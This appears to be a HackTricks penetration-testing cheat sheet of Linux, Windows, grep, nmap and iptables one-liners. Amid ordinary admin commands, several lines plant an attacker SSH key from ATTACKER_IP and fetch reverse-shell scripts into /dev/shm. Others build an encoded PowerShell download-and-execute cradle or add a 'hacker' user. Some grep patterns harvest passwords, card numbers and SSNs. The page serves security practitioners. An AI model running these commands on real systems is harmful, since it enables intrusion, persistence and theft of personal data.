HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
Useful Linux Commands
Support HackTricks and get benefits!

Common Bash

1
#Exfiltration using Base64
2
base64 -w 0 file
3
โ€‹
4
#Get HexDump without new lines
5
xxd -p boot12.bin | tr -d '\n'
6
โ€‹
7
#Add public key to authorized keys
8
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authotized_keys
9
โ€‹
10
#Echo without new line and Hex
11
echo -n -e
12
โ€‹
13
#Count
14
wc -l <file> #Lines
15
wc -c #Chars
16
โ€‹
17
#Sort
18
sort -nr #Sort by number and then reverse
19
cat file | sort | uniq #Sort and delete duplicates
20
โ€‹
21
#Replace in file
22
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
23
โ€‹
24
#Download in RAM
25
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
26
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
27
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
28
โ€‹
29
#Files used by network processes
30
lsof #Open files belonging to any process
31
lsof -p 3 #Open files used by the process
32
lsof -i #Files used by networks processes
33
lsof -i 4 #Files used by network IPv4 processes
34
lsof -i 6 #Files used by network IPv6 processes
35
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
36
lsof +D /lib #Processes using files inside the indicated dir
37
lsof -i :80 #Files uses by networks processes
38
fuser -nv tcp 80
39
โ€‹
40
#Decompress
41
tar -xvzf /path/to/yourfile.tgz
42
tar -xvjf /path/to/yourfile.tbz
43
bzip2 -d /path/to/yourfile.bz2
44
tar jxf file.tar.bz2
45
gunzip /path/to/yourfile.gz
46
unzip file.zip
47
7z -x file.7z
48
sudo apt-get install xz-utils; unxz file.xz
49
โ€‹
50
#Add new user
51
useradd -p 'openssl passwd -1 <Password>' hacker
52
โ€‹
53
#Clipboard
54
xclip -sel c < cat file.txt
55
โ€‹
56
#HTTP servers
57
python -m SimpleHTTPServer 80
58
python3 -m http.server
59
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
60
php -S $ip:80
61
โ€‹
62
#Curl
63
#json data
64
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
65
#Auth via JWT
66
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
67
โ€‹
68
#Send Email
69
sendEmail -t [email protected] -f [email protected] -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
70
โ€‹
71
#DD copy hex bin file without first X (28) bytes
72
dd if=file.bin bs=28 skip=1 of=blob
73
โ€‹
74
#Mount .vhd files (virtual hard drive)
75
sudo apt-get install libguestfs-tools
76
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
77
โ€‹
78
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
79
ssh-keyscan 10.10.10.101
80
โ€‹
81
# Openssl
82
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
83
openssl x509 -in ca.cert.pem -text #Read certificate
84
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
85
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" ([email protected])
86
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
87
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
88
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
89
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
90
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
91
# Decrypt ssh key
92
openssl rsa -in key.ssh.enc -out key.ssh
93
#Decrypt
94
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
95
โ€‹
96
#Count number of instructions executed by a program, need a host based linux (not working in VM)
97
perf stat -x, -e instructions:u "ls"
98
โ€‹
99
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
100
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
101
โ€‹
102
#Reconfigure timezone
103
sudo dpkg-reconfigure tzdata
104
โ€‹
105
#Search from wich package is a binary
106
apt-file search /usr/bin/file #Needed: apt-get install apt-file
107
โ€‹
108
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
109
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
110
โ€‹
111
#Set not removable bit
112
sudo chattr +i file.txt
113
sudo chattr -i file.txt #Remove the bit so you can delete it
Copied!

Bash for Windows

1
#Base64 for Windows
2
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
3
4
#Exe compression
5
upx -9 nc.exe
6
โ€‹
7
#Exe2bat
8
wine exe2bat.exe nc.exe nc.txt
9
โ€‹
10
#Compile Windows python exploit to exe
11
pip install pyinstaller
12
wget -O exploit.py http://www.exploit-db.com/download/31853
13
python pyinstaller.py --onefile exploit.py
14
โ€‹
15
#Compile for windows
16
#sudo apt-get install gcc-mingw-w64-i686
17
i686-mingw32msvc-gcc -o executable useradd.c
Copied!

Greps

1
#Extract emails from file
2
grep -E -o "\b[A-Za-z0-9._%+-][email protected][A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
3
โ€‹
4
#Extract valid IP addresses
5
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
6
โ€‹
7
#Extract passwords
8
grep -i "pwd\|passw" file.txt
9
โ€‹
10
#Extract users
11
grep -i "user\|invalid\|authentication\|login" file.txt
12
โ€‹
13
# Extract hashes
14
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
15
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
16
#Extract valid MySQL-Old hashes
17
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
18
#Extract blowfish hashes
19
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
20
#Extract Joomla hashes
21
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
22
#Extract VBulletin hashes
23
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
24
#Extraxt phpBB3-MD5
25
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
26
#Extract Wordpress-MD5
27
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
28
#Extract Drupal 7
29
egrep -o '$S$S{52}' *.txt > drupal-7.txt
30
#Extract old Unix-md5
31
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
32
#Extract md5-apr1
33
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
34
#Extract sha512crypt, SHA512(Unix)
35
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
36
โ€‹
37
#Extract e-mails from text files
38
grep -E -o "\b[a-zA-Z0-9.#?$*_-][email protected][a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
39
โ€‹
40
#Extract HTTP URLs from text files
41
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
42
#For extracting HTTPS, FTP and other URL format use
43
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
44
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
45
โ€‹
46
#Extract Floating point numbers
47
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
48
โ€‹
49
# Extract credit card data
50
#Visa
51
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
52
#MasterCard
53
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
54
#American Express
55
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
56
#Diners Club
57
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
58
#Discover
59
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
60
#JCB
61
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
62
#AMEX
63
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
64
โ€‹
65
# Extract IDs
66
#Extract Social Security Number (SSN)
67
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
68
#Extract Indiana Driver License Number
69
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
70
#Extract US Passport Cards
71
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
72
#Extract US Passport Number
73
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
74
#Extract US Phone Numberss
75
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
76
#Extract ISBN Numbers
77
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
Copied!

Nmap search help

1
#Nmap scripts ((default or version) and smb))
2
nmap --script-help "(default or version) and *smb*"
3
locate -r '\.nse#x27; | xargs grep categories | grep 'default\|version\|safe' | grep smb
4
nmap --script-help "(default or version) and smb)"
Copied!

Bash

1
#All bytes inside a file (except 0x20 and 0x00)
2
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
Copied!

Iptables

1
#Delete curent rules and chains
2
iptables --flush
3
iptables --delete-chain
4
โ€‹
5
#allow loopback
6
iptables -A INPUT -i lo -j ACCEPT
7
iptables -A OUTPUT -o lo -j ACCEPT
8
โ€‹
9
#drop ICMP
10
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
11
iptables -A OUTPUT -p icmp -j DROP
12
โ€‹
13
#allow established connections
14
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
15
โ€‹
16
#allow ssh, http, https, dns
17
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
18
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
19
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
20
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
21
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
22
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
23
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
24
โ€‹
25
#default policies
26
iptables -P INPUT DROP
27
iptables -P FORWARD ACCEPT
28
iptables -P OUTPUT ACCEPT
Copied!
Support HackTricks and get benefits!